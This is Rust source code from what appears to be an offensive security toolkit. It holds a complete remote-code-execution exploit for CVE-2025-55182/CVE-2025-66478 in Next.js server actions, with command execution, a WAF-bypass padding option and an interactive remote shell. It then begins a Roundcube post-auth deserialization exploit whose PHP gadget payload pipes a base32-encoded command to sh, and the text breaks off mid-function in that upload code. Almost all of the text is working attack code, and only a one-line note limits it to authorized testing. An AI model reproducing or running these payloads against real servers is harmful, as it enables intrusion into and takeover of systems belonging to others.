pub struct ExploitConfig {
pub target: String,
pub proxy: Option<String>,
pub verify_ssl: bool,
pub verbose: bool,
pub timeout: u64,
pub custom_headers: Vec<(String, String)>,
pub random_agent: bool,
pub use_color: bool,
pub windows_mode: bool,
pub waf_bypass: bool,
pub waf_bypass_size_kb: usize,
pub target_path: String,
}
impl Default for ExploitConfig {
fn default() -> Self {
Self {
target: String::new(),
proxy: None,
verify_ssl: true,
verbose: false,
timeout: DEFAULT_TIMEOUT_SECS,
custom_headers: Vec::new(),
random_agent: false,
use_color: true,
windows_mode: false,
waf_bypass: false,
waf_bypass_size_kb: 128,
target_path: "/".to_string(),
}
}
}
/// Result of an exploit attempt
#[derive(Debug, Clone)]
pub struct ExploitResult {
pub url: String,
pub status: Option<u16>,
pub vulnerable: bool,
pub command_output: Option<String>,
pub response_headers: Vec<(String, String)>,
pub response_body: String,
}
const USER_AGENTS: &[&str] = &[
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
];
fn print_banner() {
println!("{}", BANNER.red().bold());
}
fn get_random_user_agent() -> &'static str {
let mut r = rng();
USER_AGENTS.choose(&mut r).unwrap_or(&USER_AGENTS[0])
}
/// URL decode a string
fn url_decode(input: &str) -> String {
let mut result = String::new();
let mut chars = input.chars().peekable();
while let Some(ch) = chars.next() {
if ch == '%' {
let hex: String = chars.by_ref().take(2).collect();
if let Ok(byte) = u8::from_str_radix(&hex, 16) {
result.push(byte as char);
} else {
result.push('%');
result.push_str(&hex);
}
} else if ch == '+' {
result.push(' ');
} else {
result.push(ch);
}
}
result
}
/// URL encode a string for use in JavaScript
fn js_encode(input: &str) -> String {
input
.replace('\\', "\\\\")
.replace('\'', "\\'")
.replace('"', "\\\"")
.replace('\n', "\\n")
.replace('\r', "\\r")
}
/// Create the correct CVE-2025-55182 exploit payload
/// Based on Wiz Research verified PoC structure
///
/// Payload structure:
/// - Chunk 0: Entry point, references chunk 1
/// - Chunk 1: Fake chunk object with gadget references
/// - Chunk 2: Raw chunk reference ($@3) for Promise-like behavior
/// - Chunk 3: Empty array for constructor chain access
/// - Chunk 4: Response-like object with _prefix (code) and _formData.get (Function())
fn create_rce_payload(command: &str, is_windows: bool) -> String {
// JavaScript code to execute shell command and return output via redirect
// The output appears in X-Action-Redirect header as /login?a=<output>
let js_code = if is_windows {
format!(
"var r=require('child_process').execSync('powershell -c \"{}\"').toString();throw new Error('/login?a='+encodeURIComponent(r))//",
js_encode(command)
)
} else {
format!(
"var r=require('child_process').execSync('{}').toString();throw new Error('/login?a='+encodeURIComponent(r))//",
js_encode(command)
)
};
// Escape for JSON embedding
let js_escaped = js_code.replace('\\', "\\\\").replace('"', "\\\"");
// Chunk 1: Fake chunk object
// - status: "resolved_model" makes the deserializer process it as a model
// - reason: 0 is required
// - _response: "$4" references our crafted response object
// - value: JSON with "then" pointing to $3:map which triggers promise chain
// - then: "$2:then" triggers the promise resolution
let chunk_1 = r#"{"status":"resolved_model","reason":0,"_response":"$4","value":"{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}","then":"$2:then"}"#;
// Chunk 2: Raw chunk reference - $@3 tells deserializer to treat as Promise
let chunk_2 = "$@3";
// Chunk 3: Empty array - used to access Array.constructor.constructor = Function()
let chunk_3 = "[]";
// Chunk 4: Response-like object
// - _prefix: Our JavaScript code to execute
// - _formData.get: Points to $3:constructor:constructor = Function()
// - _chunks: Required for internal linkage
let chunk_4 = format!(
r#"{{"_prefix":"{}","_formData":{{"get":"$3:constructor:constructor"}},"_chunks":"$2:_response:_chunks"}}"#,
js_escaped
);
// Build multipart body
let mut body = String::new();
// Chunk 0 - entry point
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"0\"\r\n\r\n");
body.push_str("$1\r\n");
// Chunk 1 - fake chunk object
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"1\"\r\n\r\n");
body.push_str(chunk_1);
body.push_str("\r\n");
// Chunk 2 - raw chunk reference
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"2\"\r\n\r\n");
body.push_str(chunk_2);
body.push_str("\r\n");
// Chunk 3 - empty array
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"3\"\r\n\r\n");
body.push_str(chunk_3);
body.push_str("\r\n");
// Chunk 4 - response object with exploit
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"4\"\r\n\r\n");
body.push_str(&chunk_4);
body.push_str("\r\n");
// Terminating boundary
body.push_str(&format!("------{}--", BOUNDARY));
body
}
/// Create payload with WAF bypass (prepend junk data)
fn create_rce_payload_with_waf_bypass(command: &str, is_windows: bool, junk_size_kb: usize) -> String {
let mut body = String::new();
// Add junk data first to bypass WAF content inspection
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"junk\"\r\n\r\n");
body.push_str(&"x".repeat(junk_size_kb * 1024));
body.push_str("\r\n");
// Append the actual exploit payload (without initial boundary since we already have one)
let exploit = create_rce_payload(command, is_windows);
// Skip the first boundary from the exploit since we're appending
if let Some(pos) = exploit.find("\r\n") {
body.push_str(&exploit[pos + 2..]);
} else {
body.push_str(&exploit);
}
body
}
/// Create safe-check payload that triggers detectable error without RCE
/// This exploits the property resolution bug: {}.a.a -> undefined.a -> 500 error
fn create_safe_check_payload() -> String {
let mut body = String::new();
// Chunk 1 - empty object
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"1\"\r\n\r\n");
body.push_str("{}\r\n");
// Chunk 0 - reference that causes undefined.a error
body.push_str(&format!("------{}\r\n", BOUNDARY));
body.push_str("Content-Disposition: form-data; name=\"0\"\r\n\r\n");
body.push_str("[\"$1:a:a\"]\r\n");
// Terminating boundary
body.push_str(&format!("------{}--", BOUNDARY));
body
}
/// Extract command output from X-Action-Redirect header
fn extract_output_from_redirect(headers: &[(String, String)], body: Option<&str>) -> Option<String> {
// First try headers
for (name, value) in headers {
if name.eq_ignore_ascii_case("x-action-redirect") {
// Look for /login?a=<output> pattern
if let Some(pos) = value.find("/login?a=") {
let output = &value[pos + 9..];
return Some(url_decode(output));
}
// Also check for just ?a= pattern
if let Some(pos) = value.find("?a=") {
let output = &value[pos + 3..];
return Some(url_decode(output));
}
}
}
// Fallback: Check response body (RSC flight stream)
// Pattern is often: "NEXT_REDIRECT;push;/login?a=<OUTPUT>;..."
if let Some(body_text) = body {
if let Some(pos) = body_text.find("/login?a=") {
let remainder = &body_text[pos + 9..];
// Find the end of the URL/data - usually semi-colon or quote or newline
let end_pos = remainder.find(|c| c == ';' || c == '"' || c == '\n').unwrap_or(remainder.len());
let output = &remainder[..end_pos];
return Some(url_decode(output));
}
// Less specific fallback
if let Some(pos) = body_text.find("?a=") {
let remainder = &body_text[pos + 3..];
let end_pos = remainder.find(|c| c == ';' || c == '"' || c == '\n').unwrap_or(remainder.len());
let output = &remainder[..end_pos];
return Some(url_decode(output));
}
}
None
}
/// Check if response indicates vulnerability (for safe-check mode)
fn is_vulnerable_response(status: u16, body: &str) -> bool {
// Vulnerable if: 500 status code AND body contains E{"digest"
status == 500 && body.contains("E{\"digest\"")
}
/// Execute a command on the target
async fn execute_command(
client: &Client,
url: &str,
command: &str,
config: &ExploitConfig,
) -> Result<ExploitResult> {
let body = if config.waf_bypass {
create_rce_payload_with_waf_bypass(command, config.windows_mode, config.waf_bypass_size_kb)
} else {
create_rce_payload(command, config.windows_mode)
};
let user_agent = if config.random_agent {
get_random_user_agent()
} else {
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
};
let parsed_url = reqwest::Url::parse(url)?;
let host = parsed_url.host_str()
.map(|h| {
if let Some(port) = parsed_url.port() {
format!("{}:{}", h, port)
} else {
h.to_string()
}
})
.unwrap_or_else(|| "localhost".to_string());
let mut request = client.post(url)
.header("Host", &host)
.header("Content-Type", format!("multipart/form-data; boundary=----{}", BOUNDARY))
.header("Next-Action", "x")
.header("Next-Router-State-Tree", "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2Cnull%2Cnull%5D%7D%2Cnull%2Cnull%2Ctrue%5D")
.header("X-Nextjs-Request-Id", "b5dce965")
.header("X-Nextjs-Html-Request-Id", "SSTMXm7OJ_g0Ncx6jpQt9")
.header("User-Agent", user_agent)
.header("Accept", "*/*")
.header("Accept-Language", "en-US,en;q=0.9");
// Add custom headers
for (key, value) in &config.custom_headers {
request = request.header(key, value);
}
let response = request
.body(body)
.send()
.await
.context("Failed to send exploit request")?;
let status = response.status().as_u16();
// Collect headers
let mut response_headers = Vec::new();
for (name, value) in response.headers() {
if let Ok(header_str) = value.to_str() {
response_headers.push((name.to_string(), header_str.to_string()));
}
}
let response_body = response.text().await.context("Failed to read response")?;
// Extract output from X-Action-Redirect header or body
let command_output = extract_output_from_redirect(&response_headers, Some(&response_body));
// Check if vulnerable based on output or status
let vulnerable = command_output.is_some() || is_vulnerable_response(status, &response_body);
Ok(ExploitResult {
url: url.to_string(),
status: Some(status),
vulnerable,
command_output,
response_headers,
response_body,
})
}
/// Safe vulnerability check (no RCE execution)
async fn safe_check_vulnerability(
client: &Client,
url: &str,
config: &ExploitConfig,
) -> Result<ExploitResult> {
let body = create_safe_check_payload();
let user_agent = if config.random_agent {
get_random_user_agent()
} else {
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
};
let parsed_url = reqwest::Url::parse(url)?;
let host = parsed_url.host_str()
.map(|h| {
if let Some(port) = parsed_url.port() {
format!("{}:{}", h, port)
} else {
h.to_string()
}
})
.unwrap_or_else(|| "localhost".to_string());
let mut request = client.post(url)
.header("Host", &host)
.header("Content-Type", format!("multipart/form-data; boundary=----{}", BOUNDARY))
.header("Next-Action", "x")
.header("Next-Router-State-Tree", "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2Cnull%2Cnull%5D%7D%2Cnull%2Cnull%2Ctrue%5D")
.header("X-Nextjs-Request-Id", "b5dce965")
.header("X-Nextjs-Html-Request-Id", "SSTMXm7OJ_g0Ncx6jpQt9")
.header("User-Agent", user_agent);
// Add custom headers
for (key, value) in &config.custom_headers {
request = request.header(key, value);
}
let response = request
.body(body)
.send()
.await
.context("Failed to send safe-check request")?;
let status = response.status().as_u16();
// Collect headers
let mut response_headers = Vec::new();
for (name, value) in response.headers() {
if let Ok(header_str) = value.to_str() {
response_headers.push((name.to_string(), header_str.to_string()));
}
}
let response_body = response.text().await.context("Failed to read response")?;
// Check if vulnerable: 500 status AND E{"digest" in body
let vulnerable = is_vulnerable_response(status, &response_body);
Ok(ExploitResult {
url: url.to_string(),
status: Some(status),
vulnerable,
command_output: None,
response_headers,
response_body,
})
}
/// RCE verification using deterministic math operation
/// Executes 41*271 which should return 11111
async fn verify_rce(
client: &Client,
url: &str,
config: &ExploitConfig,
) -> Result<ExploitResult> {
let command = if config.windows_mode {
"powershell -c \"41*271\""
} else {
"echo $((41*271))"
};
execute_command(client, url, command, config).await
}
fn print_result(result: &ExploitResult, config: &ExploitConfig) {
println!("\n{}", "=".repeat(80));
if config.use_color {
println!("{}", format!("TARGET: {}", result.url).cyan().bold());
if let Some(status) = result.status {
println!("{}", format!("STATUS CODE: {}", status).yellow());
}
} else {
println!("TARGET: {}", result.url);
if let Some(status) = result.status {
println!("STATUS CODE: {}", status);
}
}
println!("{}", "=".repeat(80));
if result.vulnerable {
if config.use_color {
println!("{}", "\n🩸 TARGET IS VULNERABLE!".red().bold());
println!("{}", "CVE-2025-55182 / CVE-2025-66478 CONFIRMED".red().bold());
} else {
println!("\n🩸 TARGET IS VULNERABLE!");
println!("CVE-2025-55182 / CVE-2025-66478 CONFIRMED");
}
if let Some(output) = &result.command_output {
println!("\n{}", "-".repeat(60));
if config.use_color {
println!("{}", "COMMAND OUTPUT:".green().bold());
} else {
println!("COMMAND OUTPUT:");
}
println!("{}", "-".repeat(60));
println!("{}", output);
println!("{}", "-".repeat(60));
}
} else {
if config.use_color {
println!("{}", "\n❌ Target does not appear to be vulnerable.".green());
} else {
println!("\n❌ Target does not appear to be vulnerable.");
}
}
if config.verbose {
println!("\n{}", "RESPONSE HEADERS:".bold());
for (key, value) in &result.response_headers {
println!(" {}: {}", key, value);
}
println!("\n{}", format!("RESPONSE BODY ({} bytes):", result.response_body.len()).bold());
if result.response_body.len() > 500 {
println!("{}", &result.response_body[..500]);
println!("... [truncated]");
} else {
println!("{}", result.response_body);
}
}
}
/// Interactive shell mode
async fn interactive_shell(client: &Client, url: &str, config: &ExploitConfig) -> Result<()> {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ INTERACTIVE SHELL MODE ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
println!("{}", "[*] Testing connection...".yellow());
// Test with whoami/whoami
let test_cmd = if config.windows_mode { "whoami" } else { "whoami" };
let test_result = execute_command(client, url, test_cmd, config).await?;
if !test_result.vulnerable {
return Err(anyhow!("Target does not appear to be vulnerable. Cannot establish shell."));
}
let username = test_result.command_output
.as_ref()
.map(|s| s.trim().to_string())
.unwrap_or_else(|| "unknown".to_string());
// Get current directory
let pwd_cmd = if config.windows_mode { "cd" } else { "pwd" };
let pwd_result = execute_command(client, url, pwd_cmd, config).await?;
let current_dir = pwd_result.command_output
.as_ref()
.map(|s| s.trim().to_string())
.unwrap_or_else(|| "/".to_string());
println!("{}", format!("[+] Connected! User: {}", username).green().bold());
println!("{}", format!("[+] Directory: {}", current_dir).green());
println!("{}", "[*] Type 'help' for commands, 'exit' to quit".cyan());
println!();
let parsed_url = reqwest::Url::parse(url)?;
let hostname = parsed_url.host_str().unwrap_or("target");
let stdin = tokio::io::stdin();
let mut reader = BufReader::new(stdin);
let mut line = String::new();
let mut working_dir = current_dir;
loop {
print!("{}", format!("[{}@{}:{}]$ ", username, hostname, working_dir).green().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
line.clear();
if reader.read_line(&mut line).await.is_err() {
break;
}
let cmd = line.trim();
if cmd.is_empty() {
continue;
}
match cmd {
"exit" | "quit" => {
println!("{}", "[*] Exiting shell...".yellow());
break;
}
"help" => {
println!("\nAvailable commands:");
println!(" help Show this help");
println!(" exit, quit Exit the shell");
println!(" clear Clear the screen");
println!(" <command> Execute system command\n");
}
"clear" => {
print!("\x1B[2J\x1B[1;1H");
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
}
cmd if cmd.starts_with("cd ") => {
let target_dir = cmd[3..].trim();
let cd_cmd = if config.windows_mode {
format!("cd {} && cd", target_dir)
} else {
format!("cd {} && pwd", target_dir)
};
match execute_command(client, url, &cd_cmd, config).await {
Ok(result) if result.command_output.is_some() => {
let new_dir = result.command_output.unwrap();
let new_dir = new_dir.trim();
if !new_dir.contains("No such file") && !new_dir.contains("not found") {
working_dir = new_dir.to_string();
println!("{}", format!("Changed to: {}", working_dir).green());
} else {
println!("{}", format!("cd: {}: No such directory", target_dir).red());
}
}
_ => {
println!("{}", format!("cd: Failed to change directory").red());
}
}
}
_ => {
// Execute in working directory context
let full_cmd = if config.windows_mode {
format!("cd {} && {}", working_dir, cmd)
} else {
format!("cd {} && {}", working_dir, cmd)
};
match execute_command(client, url, &full_cmd, config).await {
Ok(result) => {
if let Some(output) = result.command_output {
print!("{}", output);
if !output.ends_with('\n') {
println!();
}
} else if result.vulnerable {
println!("{}", "[!] Command executed but no output".yellow());
} else {
println!("{}", "[!] Command may have failed".red());
}
}
Err(e) => {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
}
}
Ok(())
}
/// Prompt helpers
async fn prompt(message: &str) -> Result<String> {
print!("{}", format!("{}: ", message).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", message, default).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
async fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", message, default_char).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
if trimmed.is_empty() {
return Ok(default_yes);
} else if trimmed == "y" || trimmed == "yes" {
return Ok(true);
} else if trimmed == "n" || trimmed == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
print_banner();
// Normalize target URL
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
base_url = format!("http://{}", base_url);
}
let base_url = base_url.trim_end_matches('/').to_string();
println!("{}", format!("[*] Target: {}", base_url).yellow());
// Build configuration
let mut config = ExploitConfig::default();
config.target = base_url.clone();
// Prompt for options
config.verbose = prompt_yes_no("Verbose mode", false).await?;
config.verify_ssl = !prompt_yes_no("Skip SSL verification", false).await?;
config.random_agent = prompt_yes_no("Use random User-Agent", false).await?;
config.windows_mode = prompt_yes_no("Windows target (use PowerShell)", false).await?;
let timeout_str = prompt_default("Timeout (seconds)", "30").await?;
config.timeout = timeout_str.parse().unwrap_or(30);
// Target path
config.target_path = prompt_default("Target path", "/").await?;
// Proxy support
let use_proxy = prompt_yes_no("Use proxy", false).await?;
if use_proxy {
let proxy_url = prompt("Proxy URL (e.g., http://127.0.0.1:8080)").await?;
if !proxy_url.is_empty() {
config.proxy = Some(proxy_url);
}
}
// WAF bypass
config.waf_bypass = prompt_yes_no("Enable WAF bypass (add junk data)", false).await?;
if config.waf_bypass {
let size_str = prompt_default("WAF bypass junk size (KB)", "128").await?;
config.waf_bypass_size_kb = size_str.parse().unwrap_or(128);
}
// Custom headers
let use_custom_headers = prompt_yes_no("Add custom headers", false).await?;
if use_custom_headers {
loop {
let header_input = prompt("Header (Name: Value), or 'done'").await?;
if header_input == "done" || header_input.is_empty() {
break;
}
if let Some(colon_pos) = header_input.find(':') {
let key = header_input[..colon_pos].trim().to_string();
let value = header_input[colon_pos + 1..].trim().to_string();
if !key.is_empty() && !value.is_empty() {
config.custom_headers.push((key, value));
}
}
}
}
// Build HTTP client
let mut client_builder = Client::builder()
.timeout(Duration::from_secs(config.timeout))
.danger_accept_invalid_certs(!config.verify_ssl);
if let Some(proxy_url) = &config.proxy {
let proxy = reqwest::Proxy::all(proxy_url)
.context("Failed to create proxy")?;
client_builder = client_builder.proxy(proxy);
}
let client = client_builder.build()
.context("Failed to build HTTP client")?;
let target_url = if config.target_path == "/" {
base_url.clone()
} else {
format!("{}{}", base_url, config.target_path)
};
// Mode selection
println!();
println!("{}", "Select mode:".yellow().bold());
println!(" 1. Safe Vulnerability Check (no RCE)");
println!(" 2. RCE Verification (executes 41*271=11111)");
println!(" 3. Execute Single Command");
println!(" 4. Interactive Shell");
println!(" 5. Run Module Diagnostics");
println!();
let mode = prompt_default("Mode [1-5]", "1").await?;
match mode.as_str() {
"1" => {
println!("{}", "[*] Running safe vulnerability check...".cyan());
match safe_check_vulnerability(&client, &target_url, &config).await {
Ok(result) => {
print_result(&result, &config);
}
Err(e) => {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
"2" => {
println!("{}", "[*] Verifying RCE (executing 41*271)...".cyan());
match verify_rce(&client, &target_url, &config).await {
Ok(result) => {
if let Some(output) = &result.command_output {
if output.contains("11111") {
println!("{}", "\n✓ RCE VERIFIED! Output contains expected value 11111".green().bold());
}
}
print_result(&result, &config);
}
Err(e) => {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
"3" => {
let command = prompt("Command to execute").await?;
if command.is_empty() {
return Err(anyhow!("Command cannot be empty"));
}
println!("{}", format!("[*] Executing: {}", command).cyan());
match execute_command(&client, &target_url, &command, &config).await {
Ok(result) => {
print_result(&result, &config);
}
Err(e) => {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
"4" => {
interactive_shell(&client, &target_url, &config).await?;
}
"5" => {
run_self_check();
}
_ => {
return Err(anyhow!("Invalid mode selected"));
}
}
Ok(())
}
fn run_self_check() {
println!("{}", "\n[*] Running Module Self-Diagnostics...".cyan().bold());
// Check 1: RCE Payload Creation
let payload = create_rce_payload("id", false);
let checks = vec![
payload.contains("name=\"0\""),
payload.contains("name=\"1\""),
payload.contains("name=\"2\""),
payload.contains("name=\"3\""),
payload.contains("name=\"4\""),
payload.contains("$3:constructor:constructor"),
payload.contains("$@3"),
payload.contains("[]"),
];
if checks.iter().all(|&x| x) {
println!("{}", "[+] RCE Payload Structure: PASS".green());
} else {
println!("{}", "[-] RCE Payload Structure: FAIL".red());
}
// Check 2: Safe Check Payload
let safe_payload = create_safe_check_payload();
if safe_payload.contains("[\"$1:a:a\"]") && safe_payload.contains("{}") {
println!("{}", "[+] Safe Check Payload: PASS".green());
} else {
println!("{}", "[-] Safe Check Payload: FAIL".red());
}
// Check 3: Encoding/Decoding
let decode_ok = url_decode("hello%20world") == "hello world" &&
url_decode("test%2Fpath") == "test/path" &&
url_decode("a+b") == "a b";
if decode_ok {
println!("{}", "[+] URL Decoding: PASS".green());
} else {
println!("{}", "[-] URL Decoding: FAIL".red());
}
let encode_ok = js_encode("test'quote") == "test\\'quote" &&
js_encode("test\"double") == "test\\\"double" &&
js_encode("test\\backslash") == "test\\\\backslash";
if encode_ok {
println!("{}", "[+] JS Encoding: PASS".green());
} else {
println!("{}", "[-] JS Encoding: FAIL".red());
}
// Check 4: Output Extraction
// Case 4a: Header extraction
let headers = vec![
("x-action-redirect".to_string(), "/login?a=test%20header".to_string()),
];
let output_header = extract_output_from_redirect(&headers, None);
// Case 4b: Body extraction
let body_text = "some junk NEXT_REDIRECT;push;/login?a=test%20body; more junk";
let output_body = extract_output_from_redirect(&[], Some(body_text));
if output_header == Some("test header".to_string()) && output_body == Some("test body".to_string()) {
println!("{}", "[+] Output Extraction: PASS".green());
} else {
println!("{}", "[-] Output Extraction: FAIL".red());
if output_header != Some("test header".to_string()) {
println!(" Header extraction failed: {:?}", output_header);
}
if output_body != Some("test body".to_string()) {
println!(" Body extraction failed: {:?}", output_body);
}
}
// Check 5: Vulnerability Detection
let vuln_detect_ok = is_vulnerable_response(500, "some text E{\"digest\" more text") &&
!is_vulnerable_response(200, "E{\"digest\"") &&
!is_vulnerable_response(500, "no digest here");
if vuln_detect_ok {
println!("{}", "[+] Vulnerability Logic: PASS".green());
} else {
println!("{}", "[-] Vulnerability Logic: FAIL".red());
}
println!("{}", "\nDiagnostics complete.".yellow());
}
+1
View File
@@ -0,0 +1 @@
pub mod roundcube_postauth_rce;
@@ -0,0 +1,262 @@
//! Roundcube Post-Auth RCE Exploit
//!
//! This module exploits a deserialization vulnerability in Roundcube webmail
//! that allows authenticated remote code execution.
//!
//! ## Vulnerability Details
//! - **Affected Versions**: Roundcube 1.1.0 - 1.5.9, 1.6.0 - 1.6.10
//! - **Attack Vector**: Authenticated file upload with serialized PHP payload
//! - **Impact**: Remote Code Execution
//!
//! ## Attack Flow
//! 1. Login with valid credentials
//! 2. Craft malicious PHP serialized payload (Crypt_GPG_Engine gadget)
//! 3. Upload payload via settings file upload
//! 4. Trigger deserialization for code execution
//!
//! ## Security Notes
//! - Uses utils.rs for target validation and prompts
//! - Uses escape_shell_command for safe command encoding
//! - Proper error handling and timeouts
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use data_encoding::BASE32_NOPAD;
use md5;
use rand::Rng;
use base64::Engine as _;
use regex::Regex;
use reqwest::{Client, cookie::Jar, redirect::Policy};
use std::sync::Arc;
use std::time::{SystemTime, UNIX_EPOCH};
use rand::distr::Alphanumeric;
use colored::*;
use crate::utils::{
normalize_target, escape_shell_command, prompt_default,
};
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Roundcube Post-Auth RCE Exploit ║".cyan());
println!("{}", "║ PHP Deserialization via Crypt_GPG_Engine Gadget ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Decode base64 constant for small transparent PNG
fn transparent_png() -> Vec<u8> {
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
base64::engine::general_purpose::STANDARD
.decode(PNG_B64)
.unwrap_or_default()
}
/// Build the serialized PHP payload using Crypt_GPG_Engine gadget
fn build_serialized_payload(cmd: &str) -> String {
// Escape command before encoding to prevent injection
let escaped_cmd = escape_shell_command(cmd);
let encoded = BASE32_NOPAD.encode(escaped_cmd.as_bytes());
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
let len = gpgconf.len();
format!(
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}}",
len, gpgconf
)
}
fn generate_from() -> &'static str {
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
let idx = rand::rng().random_range(0..OPTIONS.len());
OPTIONS[idx]
}
fn generate_id() -> Result<String> {
let mut rand_bytes = [0u8; 8];
rand::rng().fill(&mut rand_bytes);
let timestamp = SystemTime::now()
.duration_since(UNIX_EPOCH)
.context("System time is before Unix epoch")?
.as_nanos()
.to_string();
Ok(format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat())))
}
fn generate_uploadid() -> Result<String> {
let millis = SystemTime::now()
.duration_since(UNIX_EPOCH)
.context("System time is before Unix epoch")?
.as_millis();
Ok(format!("upload{}", millis))
}
/// Validate and normalize target URL
fn validate_target_url(target: &str) -> Result<String> {
let trimmed = target.trim();
// Check if it looks like a URL
if trimmed.starts_with("http://") || trimmed.starts_with("https://") {
// Already has scheme, validate the host part
if let Ok(url) = url::Url::parse(trimmed) {
if let Some(host) = url.host_str() {
// Validate the host using normalize_target
let _ = normalize_target(host)?;
return Ok(trimmed.trim_end_matches('/').to_string());
}
}
return Err(anyhow!("Invalid URL format: {}", trimmed));
}
// No scheme - treat as host:port and add http://
let normalized = normalize_target(trimmed)?;
Ok(format!("http://{}", normalized.trim_end_matches('/')))
}
async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
if res.status() != 200 {
return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
}
Ok(res.text().await?)
}
async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].to_string())
} else {
Err(anyhow!("CSRF token not found"))
}
}
async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].parse().ok())
} else {
Ok(None)
}
}
async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
let token = fetch_csrf_token(client, base).await?;
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let mut params = vec![
("_token", token),
("_task", "login".to_string()),
("_action", "login".to_string()),
("_url", "_task=login".to_string()),
("_user", username.to_string()),
("_pass", password.to_string()),
];
if !host.is_empty() {
params.push(("_host", host.to_string()));
}
let res = client
.post(url)
.form(&params)
.send()
.await
.map_err(|e| anyhow!("Login request failed: {e}"))?;
if res.status() != 302 {
return Err(anyhow!("Login failed: HTTP {}", res.status()));
}
Ok(())
}
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
let png = transparent_png();
let boundary: String = rand::rng()
.sample_iter(&Alphanumeric)
.take(8)
.map(char::from)
.collect();
let mut body = Vec::new();
body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
body.extend_from_slice(&png);
